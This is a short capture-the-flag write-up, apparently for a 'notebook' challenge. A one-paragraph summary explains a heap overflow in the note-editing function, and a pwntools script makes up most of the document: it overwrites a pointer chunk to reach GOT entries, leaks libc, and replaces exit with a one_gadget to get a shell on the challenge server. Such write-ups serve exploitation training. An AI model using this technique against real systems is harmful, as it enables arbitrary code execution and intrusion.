Rating:
Short Summary: There's an overflow in the edit function. Each note is stored using two heap chunks, one stores the note, the other is a pointer to the note. Because of this it's easy to overwrite the pointer chunk to get arbitrary read and arbitrary write.
Full Writeup:
https://youtu.be/bFAElPXPB4w?t=895
```python
import pwn
import time
import warnings
warnings.filterwarnings(action='ignore', category=BytesWarning)
elf = pwn.ELF("./notebook")
pwn.context.binary = elf
pwn.context.log_level = "DEBUG"
pwn.context(terminal=['tmux', 'split-window', '-h'])
libc = elf.libc
p = elf.process()
libc = pwn.ELF("./libc6_2.35-0ubuntu3_amd64.so")
p = pwn.remote("cybergon2023.webhop.me", "5002")
# 1. Create 2 notes
p.sendlineafter("Exit", "1")
p.sendlineafter("index>", "0")
p.sendlineafter("content>", "AAAAAAA")
p.sendlineafter("Exit", "1")
p.sendlineafter("index>", "1")
p.sendlineafter("content>", "BBBBBBB")
# 2. Point note 2 to got
p.sendlineafter("Exit", "2")
p.sendlineafter("index>", "0")
p.sendlineafter("content>", b"AAAAAAAA" *3 + pwn.p64(0x21) + pwn.p64(elf.got['puts']))
# 3. Leak puts
p.sendlineafter("Exit", "3")
p.recvuntil("1. ")
puts_addr = pwn.u64(p.recv(6).ljust(8, b"\x00"))
libc.address = puts_addr - libc.symbols['puts']
print(f"{hex(libc.address)=}")
# pwn.gdb.attach(p)
# 4. overwrite exit with one_gadget
# og_local = [330295, 965873, 965877, 965880]
og = [330295, 965873, 965877, 965880]
p.sendlineafter("Exit", "2")
p.sendlineafter("index>", "0")
p.sendlineafter("content>", b"AAAAAAAA" *3 + pwn.p64(0x21) + pwn.p64(elf.got['exit']))
p.sendlineafter("Exit", "2")
p.sendlineafter("index>", "1")
p.sendlineafter("content>", pwn.p64(libc.address + og[3]))
# 5. Trigger printf
p.sendlineafter("Exit", "0")
p.interactive()%
```